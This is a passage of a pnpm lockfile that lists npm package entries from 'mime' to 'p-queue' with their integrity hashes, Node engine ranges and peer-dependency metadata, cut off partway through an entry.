mime@3.0.0:\n    resolution: {integrity: sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==}\n    engines: {node: '>=10.0.0'}\n    hasBin: true\n\n  mimic-fn@2.1.0:\n    resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==}\n    engines: {node: '>=6'}\n\n  mimic-function@5.0.1:\n    resolution: {integrity: sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==}\n    engines: {node: '>=18'}\n\n  minimatch@10.1.1:\n    resolution: {integrity: sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ==}\n    engines: {node: 20 || >=22}\n\n  minimatch@3.1.2:\n    resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==}\n\n  minimatch@5.1.6:\n    resolution: {integrity: sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==}\n    engines: {node: '>=10'}\n\n  minimatch@9.0.1:\n    resolution: {integrity: sha512-0jWhJpD/MdhPXwPuiRkCbfYfSKp2qnn2eOc279qI7f+osl/l+prKSrvhg157zSYvx/1nmgn2NqdT6k2Z7zSH9w==}\n    engines: {node: '>=16 || 14 >=14.17'}\n\n  minimatch@9.0.5:\n    resolution: {integrity: sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==}\n    engines: {node: '>=16 || 14 >=14.17'}\n\n  minimist@1.2.8:\n    resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==}\n\n  minipass-collect@1.0.2:\n    resolution: {integrity: sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==}\n    engines: {node: '>= 8'}\n\n  minipass-fetch@2.1.2:\n    resolution: {integrity: sha512-LT49Zi2/WMROHYoqGgdlQIZh8mLPZmOrN2NdJjMXxYe4nkN6FUyuPuOAOedNJDrx0IRGg9+4guZewtp8hE6TxA==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n\n  minipass-fetch@3.0.5:\n    resolution: {integrity: sha512-2N8elDQAtSnFV0Dk7gt15KHsS0Fyz6CbYZ360h0WTYV1Ty46li3rAXVOQj1THMNLdmrD9Vt5pBPtWtVkpwGBqg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  minipass-flush@1.0.5:\n    resolution: {integrity: sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==}\n    engines: {node: '>= 8'}\n\n  minipass-json-stream@1.0.2:\n    resolution: {integrity: sha512-myxeeTm57lYs8pH2nxPzmEEg8DGIgW+9mv6D4JZD2pa81I/OBjeU7PtICXV6c9eRGTA5JMDsuIPUZRCyBMYNhg==}\n\n  minipass-pipeline@1.2.4:\n    resolution: {integrity: sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==}\n    engines: {node: '>=8'}\n\n  minipass-sized@1.0.3:\n    resolution: {integrity: sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==}\n    engines: {node: '>=8'}\n\n  minipass@3.3.6:\n    resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==}\n    engines: {node: '>=8'}\n\n  minipass@5.0.0:\n    resolution: {integrity: sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==}\n    engines: {node: '>=8'}\n\n  minipass@7.1.2:\n    resolution: {integrity: sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==}\n    engines: {node: '>=16 || 14 >=14.17'}\n\n  minisearch@7.2.0:\n    resolution: {integrity: sha512-dqT2XBYUOZOiC5t2HRnwADjhNS2cecp9u+TJRiJ1Qp/f5qjkeT5APcGPjHw+bz89Ms8Jp+cG4AlE+QZ/QnDglg==}\n\n  minizlib@2.1.2:\n    resolution: {integrity: sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==}\n    engines: {node: '>= 8'}\n\n  mitt@3.0.1:\n    resolution: {integrity: sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==}\n\n  mkdirp-infer-owner@2.0.0:\n    resolution: {integrity: sha512-sdqtiFt3lkOaYvTXSRIUjkIdPTcxgv5+fgqYE/5qgwdw12cOrAuzzgzvVExIkH/ul1oeHN3bCLOWSG3XOqbKKw==}\n    engines: {node: '>=10'}\n\n  mkdirp@0.5.6:\n    resolution: {integrity: sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==}\n    hasBin: true\n\n  mkdirp@1.0.4:\n    resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==}\n    engines: {node: '>=10'}\n    hasBin: true\n\n  mm@4.0.2:\n    resolution: {integrity: sha512-vavX9JBrg14kDZRDpQXe8LgxBrfpr8EyMlBCJeOijSsuPf5PZ/D+1m0/2yOtwluoPfwzUobVxvKfdO65JWzW8w==}\n    engines: {node: '>= 18.19.0'}\n\n  mocha@11.7.5:\n    resolution: {integrity: sha512-mTT6RgopEYABzXWFx+GcJ+ZQ32kp4fMf0xvpZIIfSq9Z8lC/++MtcCnQ9t5FP2veYEP95FIYSvW+U9fV4xrlig==}\n    engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}\n    hasBin: true\n\n  moment@2.30.1:\n    resolution: {integrity: sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==}\n\n  mri@1.2.0:\n    resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==}\n    engines: {node: '>=4'}\n\n  mrmime@2.0.1:\n    resolution: {integrity: sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==}\n    engines: {node: '>=10'}\n\n  ms@2.0.0:\n    resolution: {integrity: sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==}\n\n  ms@2.1.3:\n    resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==}\n\n  multimatch@7.0.0:\n    resolution: {integrity: sha512-SYU3HBAdF4psHEL/+jXDKHO95/m5P2RvboHT2Y0WtTttvJLP4H/2WS9WlQPFvF6C8d6SpLw8vjCnQOnVIVOSJQ==}\n    engines: {node: '>=18'}\n\n  mustache@4.2.0:\n    resolution: {integrity: sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ==}\n    hasBin: true\n\n  mute-stream@0.0.8:\n    resolution: {integrity: sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==}\n\n  mysql2@3.15.2:\n    resolution: {integrity: sha512-kFm5+jbwR5mC+lo+3Cy46eHiykWSpUtTLOH3GE+AR7GeLq8PgfJcvpMiyVWk9/O53DjQsqm6a3VOOfq7gYWFRg==}\n    engines: {node: '>= 8.0'}\n\n  mz@2.7.0:\n    resolution: {integrity: sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==}\n\n  named-placeholders@1.1.3:\n    resolution: {integrity: sha512-eLoBxg6wE/rZkJPhU/xRX1WTpkFEwDJEN96oxFrTsqBdbT5ec295Q+CoHrL9IT0DipqKhmGcaZmwOt8OON5x1w==}\n    engines: {node: '>=12.0.0'}\n\n  nano-spawn@2.0.0:\n    resolution: {integrity: sha512-tacvGzUY5o2D8CBh2rrwxyNojUsZNU2zjNTzKQrkgGJQTbGAfArVWXSKMBokBeeg6C7OLRGUEyoFlYbfeWQIqw==}\n    engines: {node: '>=20.17'}\n\n  nanoid@3.3.11:\n    resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==}\n    engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1}\n    hasBin: true\n\n  nanoid@5.1.6:\n    resolution: {integrity: sha512-c7+7RQ+dMB5dPwwCp4ee1/iV/q2P6aK1mTZcfr1BTuVlyW9hJYiMPybJCcnBlQtuSmTIWNeazm/zqNoZSSElBg==}\n    engines: {node: ^18 || >=20}\n    hasBin: true\n\n  needle@3.3.1:\n    resolution: {integrity: sha512-6k0YULvhpw+RoLNiQCRKOl09Rv1dPLr8hHnVjHqdolKwDrdNyk+Hmrthi4lIGPPz3r39dLx0hsF5s40sZ3Us4Q==}\n    engines: {node: '>= 4.4.x'}\n    hasBin: true\n\n  negotiator@0.6.3:\n    resolution: {integrity: sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==}\n    engines: {node: '>= 0.6'}\n\n  negotiator@0.6.4:\n    resolution: {integrity: sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==}\n    engines: {node: '>= 0.6'}\n\n  negotiator@1.0.0:\n    resolution: {integrity: sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==}\n    engines: {node: '>= 0.6'}\n\n  nice-try@1.0.5:\n    resolution: {integrity: sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==}\n\n  no-case@2.3.2:\n    resolution: {integrity: sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==}\n\n  node-addon-api@7.1.1:\n    resolution: {integrity: sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==}\n\n  node-domexception@1.0.0:\n    resolution: {integrity: sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==}\n    engines: {node: '>=10.5.0'}\n    deprecated: Use your platform's native DOMException instead\n\n  node-gyp@9.4.1:\n    resolution: {integrity: sha512-OQkWKbjQKbGkMf/xqI1jjy3oCTgMKJac58G2+bjZb3fza6gW2YrCSdMQYaoTb70crvE//Gngr4f0AgVHmqHvBQ==}\n    engines: {node: ^12.13 || ^14.13 || >=16}\n    hasBin: true\n\n  node-hex@1.0.1:\n    resolution: {integrity: sha512-iwpZdvW6Umz12ICmu9IYPRxg0tOLGmU3Tq2tKetejCj3oZd7b2nUXwP3a7QA5M9glWy8wlPS1G3RwM/CdsUbdQ==}\n    engines: {node: '>=8.0.0'}\n\n  node-homedir@1.1.1:\n    resolution: {integrity: sha512-Xsmf94D/DdeDISAECUaxXVxhh+kHdbOQE4CnP4igo3HXL3BSmmUpD5M7orH434EZZwBTFF2xe5SgsQr/wOBuNw==}\n    engines: {node: '>=4.0.0'}\n\n  node-homedir@2.0.0:\n    resolution: {integrity: sha512-KNUpQjYKNEzMxGAvgmfOcnz+h2h0bOkYsQQbrgXWCYnB83z74OQMdaEJ6vI3iljVXTOn4sFtA5zrwcZaC8rVqg==}\n    engines: {node: '>=16.0.0'}\n\n  nopt@6.0.0:\n    resolution: {integrity: sha512-ZwLpbTgdhuZUnZzjd7nb1ZV+4DoiC6/sfiVKok72ym/4Tlf+DFdlHYmT2JPmcNNWV6Pi3SDf1kT+A4r9RTuT9g==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n    hasBin: true\n\n  nopt@7.2.1:\n    resolution: {integrity: sha512-taM24ViiimT/XntxbPyJQzCG+p4EKOpgD3mxFwW38mGjVUrfERQOeY4EDHjdnptttfHuHQXFx+lTP08Q+mLa/w==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n    hasBin: true\n\n  normalize-package-data@5.0.0:\n    resolution: {integrity: sha512-h9iPVIfrVZ9wVYQnxFgtw1ugSvGEMOlyPWWtm8BMJhnwyEL/FLbYbTY3V3PpjI/BUK67n9PEWDu6eHzu1fB15Q==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  normalize-path@3.0.0:\n    resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==}\n    engines: {node: '>=0.10.0'}\n\n  npm-bundled@3.0.1:\n    resolution: {integrity: sha512-+AvaheE/ww1JEwRHOrn4WHNzOxGtVp+adrg2AeZS/7KuxGUYFuBta98wYpfHBbJp6Tg6j1NKSEVHNcfZzJHQwQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  npm-install-checks@6.3.0:\n    resolution: {integrity: sha512-W29RiK/xtpCGqn6f3ixfRYGk+zRyr+Ew9F2E20BfXxT5/euLdA/Nm7fO7OeTGuAmTs30cpgInyJ0cYe708YTZw==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  npm-normalize-package-bin@1.0.1:\n    resolution: {integrity: sha512-EPfafl6JL5/rU+ot6P3gRSCpPDW5VmIzX959Ob1+ySFUuuYHWHekXpwdUZcKP5C+DS4GEtdJluwBjnsNDl+fSA==}\n\n  npm-normalize-package-bin@3.0.1:\n    resolution: {integrity: sha512-dMxCf+zZ+3zeQZXKxmyuCKlIDPGuv8EF940xbkC4kQVDTtqoh6rJFO+JTKSA6/Rwi0getWmtuy4Itup0AMcaDQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  npm-package-arg@10.1.0:\n    resolution: {integrity: sha512-uFyyCEmgBfZTtrKk/5xDfHp6+MdrqGotX/VoOyEEl3mBwiEE5FlBaePanazJSVMPT7vKepcjYBY2ztg9A3yPIA==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  npm-package-arg@8.1.5:\n    resolution: {integrity: sha512-LhgZrg0n0VgvzVdSm1oiZworPbTxYHUJCgtsJW8mGvlDpxTM1vSJc3m5QZeUkhAHIzbz3VCHd/R4osi1L1Tg/Q==}\n    engines: {node: '>=10'}\n\n  npm-packlist@7.0.4:\n    resolution: {integrity: sha512-d6RGEuRrNS5/N84iglPivjaJPxhDbZmlbTwTDX2IbcRHG5bZCdtysYMhwiPvcF4GisXHGn7xsxv+GQ7T/02M5Q==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  npm-pick-manifest@8.0.2:\n    resolution: {integrity: sha512-1dKY+86/AIiq1tkKVD3l0WI+Gd3vkknVGAggsFeBkTvbhMQ1OND/LKkYv4JtXPKUJ8bOTCyLiqEg2P6QNdK+Gg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  npm-registry-fetch@14.0.5:\n    resolution: {integrity: sha512-kIDMIo4aBm6xg7jOttupWZamsZRkAqMqwqqbVXnUqstY5+tapvv6bkH/qMR76jdgV+YljEUCyWx3hRYMrJiAgA==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  npm-run-path@4.0.1:\n    resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==}\n    engines: {node: '>=8'}\n\n  npm-run-path@6.0.0:\n    resolution: {integrity: sha512-9qny7Z9DsQU8Ou39ERsPU4OZQlSTP47ShQzuKZ6PRXpYLtIFgl/DEBYEXKlvcEa+9tHVcK8CF81Y2V72qaZhWA==}\n    engines: {node: '>=18'}\n\n  npminstall@7.12.0:\n    resolution: {integrity: sha512-KaaIv9xPgVClkfDE/qqMAhmIU9fipd/9zrSkJ3Adh7RQPaDg5IQFzcOHbwjm8P/qnLlgq84WqTo2tUEohaWSAg==}\n    engines: {node: '>=14.18.0'}\n    hasBin: true\n\n  npmlog@6.0.2:\n    resolution: {integrity: sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n    deprecated: This package is no longer supported.\n\n  npmlog@7.0.1:\n    resolution: {integrity: sha512-uJ0YFk/mCQpLBt+bxN88AKd+gyqZvZDbtiNxk6Waqcj2aPRyfVx8ITawkyQynxUagInjdYT1+qj4NfA5KJJUxg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n    deprecated: This package is no longer supported.\n\n  nprogress@0.2.0:\n    resolution: {integrity: sha512-I19aIingLgR1fmhftnbWWO3dXc0hSxqHQHQb3H8m+K3TnEn/iSeTZZOyvKXWqQESMwuUVnatlCnZdLBZZt2VSA==}\n\n  nth-check@2.1.1:\n    resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==}\n\n  nunjucks-markdown@2.0.1:\n    resolution: {integrity: sha512-Vj85erGVoSlASDukl0JjaHSlJUH9BbKz8mQx0WiCj2P8a9DOM3cVwi5s0uVvPwR0RrwTjYO2dAuPMTZwGgUHeg==}\n    peerDependencies:\n      nunjucks: ^2.3.0 || ^3.0.0\n\n  nunjucks@3.2.4:\n    resolution: {integrity: sha512-26XRV6BhkgK0VOxfbU5cQI+ICFUtMLixv1noZn1tGU38kQH5A5nmmbk/O45xdyBhD1esk47nKrY0mvQpZIhRjQ==}\n    engines: {node: '>= 6.9.0'}\n    hasBin: true\n    peerDependencies:\n      chokidar: ^3.3.0\n    peerDependenciesMeta:\n      chokidar:\n        optional: true\n\n  object-assign@4.1.1:\n    resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==}\n    engines: {node: '>=0.10.0'}\n\n  object-inspect@1.13.4:\n    resolution: {integrity: sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==}\n    engines: {node: '>= 0.4'}\n\n  object-is@1.1.6:\n    resolution: {integrity: sha512-F8cZ+KfGlSGi09lJT7/Nd6KJZ9ygtvYC0/UYYLI9nmQKLMnydpB9yvbv9K1uSkEu7FU9vYPmVwLg328tX+ot3Q==}\n    engines: {node: '>= 0.4'}\n\n  object-keys@1.1.1:\n    resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==}\n    engines: {node: '>= 0.4'}\n\n  object.assign@4.1.7:\n    resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==}\n    engines: {node: '>= 0.4'}\n\n  obug@2.1.1:\n    resolution: {integrity: sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ==}\n\n  on-finished@2.4.1:\n    resolution: {integrity: sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==}\n    engines: {node: '>= 0.8'}\n\n  once@1.4.0:\n    resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==}\n\n  onelogger@1.0.1:\n    resolution: {integrity: sha512-CssDwyG8cnY8fGm9HJurr2LNScfn2u//hnxgivLMgTj+B/S2IspJbbxgFboaRJ+V0CPzi59wqTLuikMcXyVeaw==}\n    engines: {node: '>=16.0.0'}\n\n  onetime@5.1.2:\n    resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==}\n    engines: {node: '>=6'}\n\n  onetime@7.0.0:\n    resolution: {integrity: sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==}\n    engines: {node: '>=18'}\n\n  oniguruma-parser@0.12.1:\n    resolution: {integrity: sha512-8Unqkvk1RYc6yq2WBYRj4hdnsAxVze8i7iPfQr8e4uSP3tRv0rpZcbGUDvxfQQcdwHt/e9PrMvGCsa8OqG9X3w==}\n\n  oniguruma-to-es@4.3.3:\n    resolution: {integrity: sha512-rPiZhzC3wXwE59YQMRDodUwwT9FZ9nNBwQQfsd1wfdtlKEyCdRV0avrTcSZ5xlIvGRVPd/cx6ZN45ECmS39xvg==}\n\n  openai@6.22.0:\n    resolution: {integrity: sha512-7Yvy17F33Bi9RutWbsaYt5hJEEJ/krRPOrwan+f9aCPuMat1WVsb2VNSII5W1EksKT6fF69TG/xj4XzodK3JZw==}\n    hasBin: true\n    peerDependencies:\n      ws: ^8.18.0\n      zod: ^3.25 || ^4.0\n    peerDependenciesMeta:\n      ws:\n        optional: true\n      zod:\n        optional: true\n\n  ora@4.1.1:\n    resolution: {integrity: sha512-sjYP8QyVWBpBZWD6Vr1M/KwknSw6kJOz41tvGMlwWeClHBtYKTbHMki1PsLZnxKpXMPbTKv9b3pjQu3REib96A==}\n    engines: {node: '>=8'}\n\n  os-name@1.0.3:\n    resolution: {integrity: sha512-f5estLO2KN8vgtTRaILIgEGBoBrMnZ3JQ7W9TMZCnOIGwHe8TRGSpcagnWDo+Dfhd/z08k9Xe75hvciJJ8Qaew==}\n    engines: {node: '>=0.10.0'}\n    hasBin: true\n\n  oss-client@2.5.1:\n    resolution: {integrity: sha512-LSm191DdZm7E/jKhaGLBf/EjrA+6E+RjTjHjq8dvEtMb9hi4O1FWe6IwSncPHCwHXgmVOk3iHll87WqbNN4NXw==}\n    engines: {node: '>= 16.0.0'}\n\n  oss-interface@1.5.0:\n    resolution: {integrity: sha512-NqVR42QclE/EosbfzKfrJ8OUPHsHt1T6dMoXnLz7lOtHcefMGgtaN70yRMMdhL0/bt1VF59jh+4lwdP3PrhHqg==}\n\n  osx-release@1.1.0:\n    resolution: {integrity: sha512-ixCMMwnVxyHFQLQnINhmIpWqXIfS2YOXchwQrk+OFzmo6nDjQ0E4KXAyyUh0T0MZgV4bUhkRrAbVqlE4yLVq4A==}\n    engines: {node: '>=0.10.0'}\n    hasBin: true\n\n  oxc-minify@0.105.0:\n    resolution: {integrity: sha512-gnDokcTjctnjzyBMfAx/5Zav2L81Uc0C5DLUYPoG1Clbg/m7qgqlIy2YSMr8Wgs8IoUBnOhzIQ48jRBZTY8dVw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n\n  oxc-resolver@11.10.0:\n    resolution: {integrity: sha512-LNJkji0qsBvZ7+yze3S1qsWufZ3VBcyU1wAnC5bBP0QzHsKf4rrNhG5I4c0RIDQGKsKDpVWh8vhUAGE3cb53kA==}\n\n  oxfmt@0.20.0:\n    resolution: {integrity: sha512-+7f8eV8iaK3tENN/FUVxZM1g78HjPehybN8/+/dvEA1O893Dcvk6O7/Q1wTQOHMD7wvdwWdujKl+Uo8QMiKDrQ==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    hasBin: true\n\n  oxlint-tsgolint@0.11.0:\n    resolution: {integrity: sha512-fGYb7z/cljC0Rjtbxh7mIe8vtF/M9TShLvniwc2rdcqNG3Z9g3nM01cr2kWRb1DZdbY4/kItvIsrV4uhaMifyQ==}\n    hasBin: true\n\n  oxlint@1.32.0:\n    resolution: {integrity: sha512-HYDQCga7flsdyLMUIxTgSnEx5KBxpP9VINB8NgO+UjV80xBiTQXyVsvjtneMT3ZBLMbL0SlG/Dm03XQAsEshMA==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    hasBin: true\n    peerDependencies:\n      oxlint-tsgolint: '>=0.8.1'\n    peerDependenciesMeta:\n      oxlint-tsgolint:\n        optional: true\n\n  p-event@6.0.1:\n    resolution: {integrity: sha512-Q6Bekk5wpzW5qIyUP4gdMEujObYstZl6DMMOSenwBvV0BlE5LkDwkjs5yHbZmdCEq2o4RJx4tE1vwxFVf2FG1w==}\n    engines: {node: '>=16.17'}\n\n  p-filter@4.1.0:\n    resolution: {integrity: sha512-37/tPdZ3oJwHaS3gNJdenCDB3Tz26i9sjhnguBtvN0vYlRIiDNnvTWkuh+0hETV9rLPdJ3rlL3yVOYPIAnM8rw==}\n    engines: {node: '>=18'}\n\n  p-finally@1.0.0:\n    resolution: {integrity: sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==}\n    engines: {node: '>=4'}\n\n  p-limit@2.3.0:\n    resolution: {integrity: sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==}\n    engines: {node: '>=6'}\n\n  p-limit@3.1.0:\n    resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==}\n    engines: {node: '>=10'}\n\n  p-locate@3.0.0:\n    resolution: {integrity: sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==}\n    engines: {node: '>=6'}\n\n  p-locate@5.0.0:\n    resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==}\n    engines: {node: '>=10'}\n\n  p-map@2.1.0:\n    resolution: {integrity: sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==}\n    engines: {node: '>=6'}\n\n  p-map@4.0.0:\n    resolution: {integrity: sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==}\n    engines: {node: '>=10'}\n\n  p-map@7.0.3:\n    resolution: {integrity: sha512-VkndIv2fIB99swvQoA65bm+fsmt6UNdGeIB0oxBs+WhAhdh08QA04JXpI7rbB9r08/nkbysKoya9rtDERYOYMA==}\n    engines: {node: '>=18'}\n\n  p-queue@6.6.2:\n    resolution: {integrity: 